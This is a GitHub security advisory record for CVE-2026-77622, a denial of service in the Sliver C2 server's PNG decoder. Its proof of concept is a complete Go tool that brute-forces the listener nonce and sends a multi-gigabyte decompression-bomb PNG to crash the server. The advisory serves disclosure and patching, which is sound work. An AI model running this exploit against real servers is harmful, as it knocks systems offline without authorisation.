{"id":"GHSA-663m-7x7m-g4fw","summary":"Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder","details":"### Summary\nSliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. \n### Details\n\nThe first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`\n```go\nconst (\n    EncoderModulus = uint64(65537)\n)\n```\n\nThe second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:\n`util/encoders/images.go`\n\n```go\nfunc (p PNGEncoder) Encode(data []byte) ([]byte, error) {\n    img := imageFromBytes(data)\n    var buf bytes.Buffer\n    encoder.Encode(&buf, img)\n    return buf.Bytes(), nil\n}\n\nfunc (p PNGEncoder) Decode(data []byte) ([]byte, error) {\n    buf := bytes.NewBuffer(data)\n    img, err := png.Decode(buf)\n    if err != nil { return nil, err }\n    return bytesFromImage(img), nil\n}\n```\n\n### PoC\nThe first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.\n\nGet the latest version of Sliver (Currently 1.7.3)\n```bash\ngit clone https://github.com/BishopFox/sliver.git\n```\n\nBuild the Docker container:\n```bash\ncd sliver\ndocker build -t sliver-test:local -f Dockerfile .\n```\n\nRun the Docker container with a memory cap for example 4GB:\n```bash\ndocker run --rm \\\n--name sliver-test \\\n--memory=4g \\\n-p 8080:8080 \\\n-it \\\nsliver-test:local \n```\n\nAfter the Docker container starts, create an http listener on port 8080:\n\n```bash\nhttp -L 0.0.0.0 -l 8080\n```\n\nIn a seperate terminal create the following Go project:\n`go.mod`\n```Go\nmodule pngboomer\ngo 1.25\n```\n\n`poc.go`\n```Go\n// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.\n//\n// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run\n// it against a Docker container with --memory=\u003cN\u003eg and pass -target-cap-mb N\n// so the tool can refuse dangerous worker/probe combos.\n//\n// Build:  go build -o pngboomer\n// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240\npackage main\n\nimport (\n        \"bytes\"\n        \"compress/zlib\"\n        \"context\"\n        \"encoding/binary\"\n        \"flag\"\n        \"fmt\"\n        \"hash/crc32\"\n        \"io\"\n        \"math/rand\"\n        \"net\"\n        \"net/http\"\n        \"net/url\"\n        \"os\"\n        \"sort\"\n        \"sync\"\n        \"sync/atomic\"\n        \"time\"\n)\n\n// ANSI color — single helper, disabled by -no-color / -silent.\nvar nocolor bool\n\nfunc col(code, s string) string {\n        if nocolor {\n                return s\n        }\n        return \"\\x1b[\" + code + \"m\" + s + \"\\x1b[0m\"\n}\nfunc B(s string) string          { return col(\"1\", s) }\nfunc D(s string) string          { return col(\"2\", s) }\nfunc R(s string) string          { return col(\"1;31\", s) }\nfunc G(s string) string          { return col(\"1;32\", s) }\nfunc Y(s string) string          { return col(\"1;33\", s) }\nfunc C(s string) string          { return col(\"1;36\", s) }\nfunc ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }\n\n// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for\n// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).\nfunc chunk(typ string, data []byte) []byte {\n        out := make([]byte, 4, 12+len(data))\n        binary.BigEndian.PutUint32(out, uint32(len(data)))\n        out = append(out, typ...)\n        out = append(out, data...)\n        crc := crc32.NewIEEE()\n        crc.Write([]byte(typ))\n        crc.Write(data)\n        tail := make([]byte, 4)\n        binary.BigEndian.PutUint32(tail, crc.Sum32())\n        return append(out, tail...)\n}\nfunc makePNG(W, H, ct int) []byte {\n        bpp := 3\n        if ct == 6 {\n                bpp = 4\n        }\n        var zb bytes.Buffer\n        zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)\n        row := make([]byte, 1+bpp*W)\n        for i := 0; i \u003c H; i++ {\n                zw.Write(row)\n        }\n        zw.Close()\n        ihdr := make([]byte, 13)\n        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))\n        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))\n        ihdr[8], ihdr[9] = 8, byte(ct)\n        out := []byte(\"\\x89PNG\\r\\n\\x1a\\n\")\n        out = append(out, chunk(\"IHDR\", ihdr)...)\n        out = append(out, chunk(\"IDAT\", zb.Bytes())...)\n        return append(out, chunk(\"IEND\", nil)...)\n}\n\n// HTTP helpers\nfunc hostPort(u string) string {\n        p, _ := url.Parse(u)\n        if p.Port() != \"\" {\n                return p.Hostname() + \":\" + p.Port()\n        }\n        if p.Scheme == \"https\" {\n                return p.Hostname() + \":443\"\n        }\n        return p.Hostname() + \":80\"\n}\nfunc alive(hp string, t time.Duration) bool {\n        c, err := net.DialTimeout(\"tcp\", hp, t)\n        if err != nil {\n                return false\n        }\n        c.Close()\n        return true\n}\nfunc post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {\n        req, _ := http.NewRequestWithContext(ctx, \"POST\",\n                fmt.Sprintf(\"%s?n=%d\", base, n), bytes.NewReader(body))\n        req.Header.Set(\"Content-Type\", \"application/octet-stream\")\n        t := time.Now()\n        resp, err := cli.Do(req)\n        dt := time.Since(t)\n        if err == nil {\n                io.Copy(io.Discard, resp.Body)\n                resp.Body.Close()\n        }\n        return dt\n}\n\ntype hit struct {\n        n  uint64\n        dt time.Duration\n}\n\nfunc main() {\n        target := flag.String(\"url\", \"http://127.0.0.1:8080/\", \"Sliver HTTP C2 base URL\")\n        workers := flag.Int(\"workers\", 8, \"scan concurrency\")\n        probeW := flag.Int(\"probe-w\", 2000, \"probe PNG width\")\n        probeH := flag.Int(\"probe-h\", 2000, \"probe PNG height\")\n        probeCT := flag.Int(\"probe-color\", 2, \"probe color: 2=RGB, 6=RGBA\")\n        killW := flag.Int(\"kill-w\", 32767, \"kill PNG width\")\n        killH := flag.Int(\"kill-h\", 32767, \"kill PNG height\")\n        killCT := flag.Int(\"kill-color\", 6, \"kill color: 2=RGB, 6=RGBA\")\n        thMs := flag.Int(\"threshold-ms\", 50, \"threshold floor (effective = max(this, baseline_p99 × outlier-mult))\")\n        outlier := flag.Float64(\"outlier-mult\", 15.0, \"baseline_p99 × this = adaptive threshold\")\n        calibN := flag.Int(\"calibrate\", 16, \"non-PNG calibration samples\")\n        verifyN := flag.Int(\"verify\", 3, \"re-probe count per candidate\")\n        maxN := flag.Int(\"max-nonce\", 65537, \"top nonce (Sliver modulus = 65537)\")\n        pTO := flag.Duration(\"probe-timeout\", 5*time.Second, \"per-probe HTTP timeout\")\n        kTO := flag.Duration(\"kill-timeout\", 180*time.Second, \"kill request HTTP timeout\")\n        capMB := flag.Int(\"target-cap-mb\", 10240, \"declared target memory cap, 0 = disable check\")\n        known := flag.Int(\"nonce\", 0, \"skip scan, use this nonce directly\")\n        scanOnly := flag.Bool(\"scan-only\", false, \"stop after finding nonce, don't kill\")\n        noConf := flag.Bool(\"no-confirm\", false, \"don't TCP-poll for death after kill\")\n        noClr := flag.Bool(\"no-color\", false, \"disable ANSI color\")\n        silent := flag.Bool(\"silent\", false, \"only print nonce on stdout\")\n        flag.Parse()\n\n        nocolor = *noClr || *silent\n        pBpp, kBpp := 3, 3\n        if *probeCT == 6 {\n                pBpp = 4\n        }\n        if *killCT == 6 {\n                kBpp = 4\n        }\n        probeMB := pBpp * *probeW * *probeH / 1024 / 1024\n        killMB := kBpp * *killW * *killH / 1024 / 1024\n        peakMB := *workers * probeMB\n        if *capMB \u003e 0 && peakMB \u003e *capMB/2 {\n                fmt.Fprintf(os.Stderr, \"%s scan peak %d MiB \u003e target cap %d / 2 — lower -workers or -probe-w/h\\n\",\n                        R(\"[X] safety:\"), peakMB, *capMB)\n                os.Exit(2)\n        }\n\n        probe := makePNG(*probeW, *probeH, *probeCT)\n        kill := makePNG(*killW, *killH, *killCT)\n        hp := hostPort(*target)\n        if !alive(hp, 2*time.Second) {\n                fmt.Fprintf(os.Stderr, \"%s target unreachable: %s\\n\", R(\"[X]\"), hp)\n                os.Exit(2)\n        }\n        if !*silent {\n                fmt.Fprintln(os.Stderr, B(\"pngboomer — Sliver C2 PNG-bomb DoS\"))\n                fmt.Fprintf(os.Stderr, \"  probe %dB wire  %dx%d c=%d  → %d MiB decode\\n\",\n                        len(probe), *probeW, *probeH, *probeCT, probeMB)\n                fmt.Fprintf(os.Stderr, \"  kill  %dB wire  %dx%d c=%d  → %d MiB decode\\n\",\n                        len(kill), *killW, *killH, *killCT, killMB)\n                fmt.Fprintf(os.Stderr, \"  scan peak ≈ %d MiB  target cap=%d MiB  reachable=%s\\n\",\n                        peakMB, *capMB, B(hp))\n        }\n\n        cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}\n        pngN := uint64(*known)\n\n        if pngN == 0 {\n                // ─── Phase 1: calibrate non-PNG baseline ───\n                dts := make([]time.Duration, *calibN)\n                sem := make(chan struct{}, 8)\n                var wg sync.WaitGroup\n                for i := 0; i \u003c *calibN; i++ {\n                        i := i\n                        sem \u003c- struct{}{}\n                        wg.Add(1)\n                        go func() {\n                                defer wg.Done()\n                                defer func() { \u003c-sem }()\n                                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))\n                        }()\n                }\n                wg.Wait()\n                sort.Slice(dts, func(i, j int) bool { return dts[i] \u003c dts[j] })\n                p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]\n                eff := int64(*thMs)\n                if a := int64(float64(p99.Milliseconds()) * *outlier); a \u003e eff {\n                        eff = a\n                }\n                *thMs = int(eff)\n                thresh := time.Duration(*thMs) * time.Millisecond\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  baseline p50=%.0fms p99=%.0fms  → threshold=%s (max of floor, p99×%.0f)\\n\",\n                                ms(p50), ms(p99), B(fmt.Sprintf(\"%dms\", *thMs)), *outlier)\n                }\n\n                // ─── Phase 2: scan with verify + blacklist-on-blip ───\n                blacklist := map[uint64]bool{}\n                var maxDt int64\n                var maxNonce uint64\n                var totalDone uint64\n                scanStart := time.Now()\n                const maxBlips = 8\n\n                // Shuffled nonce order, shared across re-scans. Workers pull via atomic\n                // counter — no channels, no producer goroutine.\n                order := make([]uint64, *maxN-1)\n                for i := range order {\n                        order[i] = uint64(i + 1)\n                }\n                rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })\n\n                for blip := 0; blip \u003c maxBlips && pngN == 0; blip++ {\n                        scanCtx, scanCancel := context.WithCancel(context.Background())\n                        hits := make(chan hit, 1)\n                        var idx int64\n                        var scanned uint64\n                        var swg sync.WaitGroup\n                        for i := 0; i \u003c *workers; i++ {\n                                swg.Add(1)\n                                go func() {\n                                        defer swg.Done()\n                                        for scanCtx.Err() == nil {\n                                                i := atomic.AddInt64(&idx, 1) - 1\n                                                if i \u003e= int64(len(order)) {\n                                                        return\n                                                }\n                                                n := order[i]\n                                                if blacklist[n] {\n                                                        continue\n                                                }\n                                                dt := post(scanCtx, cli, *target, probe, n)\n                                                atomic.AddUint64(&scanned, 1)\n                                                for { // track slowest probe (lock-free CAS)\n                                                        cur := atomic.LoadInt64(&maxDt)\n                                                        if dt.Nanoseconds() \u003c= cur {\n                                                                break\n                                                        }\n                                                        if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {\n                                                                atomic.StoreUint64(&maxNonce, n)\n                                                                break\n                                                        }\n                                                }\n                                                if dt \u003e= thresh {\n                                                        select {\n                                                        case hits \u003c- hit{n, dt}:\n                                                        default:\n                                                        }\n                                                        scanCancel()\n                                                        return\n                                                }\n                                        }\n                                }()\n                        }\n\n                        if !*silent {\n                                go func() {\n                                        t := time.NewTicker(750 * time.Millisecond)\n                                        defer t.Stop()\n                                        for {\n                                                select {\n                                                case \u003c-scanCtx.Done():\n                                                        return\n                                                case \u003c-t.C:\n                                                        tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)\n                                                        el := time.Since(scanStart).Seconds()\n                                                        fmt.Fprintf(os.Stderr, D(\"  scanned %d (%.0f/s, %.1fs, blips=%d)\\n\"),\n                                                                tot, float64(tot)/el, el, blip)\n                                                }\n                                        }\n                                }()\n                        }\n\n                        go func() { swg.Wait(); close(hits) }()\n                        cand, ok := \u003c-hits\n                        scanCancel()\n                        atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))\n                        if !ok {\n                                break // exhausted, no candidate\n                        }\n\n                        // VERIFY: re-probe N×, count threshold hits, render tries inline\n                        conf := 0\n                        var tries bytes.Buffer\n                        for i := 0; i \u003c *verifyN; i++ {\n                                dt := post(context.Background(), cli, *target, probe, cand.n)\n                                if dt \u003e= thresh {\n                                        conf++\n                                        tries.WriteString(G(\"✓\"))\n                                } else {\n                                        tries.WriteString(R(\"✗\"))\n                                }\n                                fmt.Fprintf(&tries, \"%.0fms \", ms(dt))\n                        }\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"  candidate %s (%.0fms)  verify: %s\\n\",\n                                        B(fmt.Sprintf(\"%d\", cand.n)), ms(cand.dt), tries.String())\n                        }\n                        if conf \u003e= (*verifyN+1)/2 {\n                                pngN = cand.n\n                                if !*silent {\n                                        fmt.Fprintf(os.Stderr, \"%s nonce=%s in %.2fs (%d probes, %d blips)\\n\",\n                                                G(\"[+] FOUND\"), B(fmt.Sprintf(\"%d\", pngN)),\n                                                time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))\n                                }\n                                break\n                        }\n                        blacklist[cand.n] = true\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s nonce %d rejected (%d/%d) — blacklisted\\n\",\n                                        Y(\"[!] blip\"), cand.n, conf, *verifyN)\n                        }\n                }\n\n                if pngN == 0 {\n                        mDt := time.Duration(atomic.LoadInt64(&maxDt))\n                        mN := atomic.LoadUint64(&maxNonce)\n                        fmt.Fprintf(os.Stderr, \"%s no candidate ≥ %dms after %d probes\\n\",\n                                R(\"[X] scan failed:\"), *thMs, atomic.LoadUint64(&totalDone))\n                        fmt.Fprintf(os.Stderr, \"  slowest probe: nonce=%d at %.0fms\\n\", mN, ms(mDt))\n                        suggest := mDt.Milliseconds() * 6 / 10\n                        if suggest \u003c 30 {\n                                suggest = 30\n                        }\n                        fmt.Fprintf(os.Stderr, \"  fix: %s  or grow -probe-w/-probe-h\\n\",\n                                C(fmt.Sprintf(\"-threshold-ms %d\", suggest)))\n                        os.Exit(2)\n                }\n        }\n\n        if *scanOnly {\n                fmt.Println(pngN)\n                return\n        }\n\n        // ─── Phase 3: fire kill bomb ───\n        if !*silent {\n                fmt.Fprintf(os.Stderr, \"%s firing kill (%d MiB decode) at %s?n=%d\\n\",\n                        B(\"[*]\"), killMB, *target, pngN)\n        }\n        kCli := &http.Client{Timeout: *kTO}\n        killStart := time.Now()\n        done := make(chan struct{})\n        go func() {\n                dt := post(context.Background(), kCli, *target, kill, pngN)\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  kill returned in %.2fs\\n\", dt.Seconds())\n                }\n                close(done)\n        }()\n\n        if *noConf {\n                \u003c-done\n                fmt.Println(pngN)\n                return\n        }\n\n        deadline := time.Now().Add(*kTO)\n        for time.Now().Before(deadline) {\n                time.Sleep(250 * time.Millisecond)\n                if !alive(hp, time.Second) {\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s killed in %.2fs (TCP refused at %s)\\n\",\n                                        G(\"[+] ★ TARGET DEAD ★\"), time.Since(killStart).Seconds(), hp)\n                        }\n                        fmt.Println(pngN)\n                        return\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"%s target alive after %s — try larger -kill-w/-kill-h\\n\", Y(\"[!]\"), *kTO)\n        os.Exit(1)\n}\n```\n\n### Impact\nThis vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.\n\n### Collaboration\nThis vulnerability was found with the help of Wencheng Xue (panwnvda).","aliases":["CVE-2026-77622"],"modified":"2026-10-15T20:30:04.348467627Z","published":"2026-10-15T20:09:33Z","database_specific":{"cwe_ids":["CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-15T20:09:33Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/BishopFox/sliver/security/advisories/GHSA-663m-7x7m-g4fw"},{"type":"WEB","url":"https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d"},{"type":"PACKAGE","url":"https://github.com/BishopFox/sliver"},{"type":"WEB","url":"https://github.com/BishopFox/sliver/releases/tag/v1.7.6"}],"affected":[{"package":{"name":"github.com/BishopFox/sliver","ecosystem":"Go","purl":"pkg:golang/github.com/BishopFox/sliver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-663m-7x7m-g4fw/GHSA-663m-7x7m-g4fw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}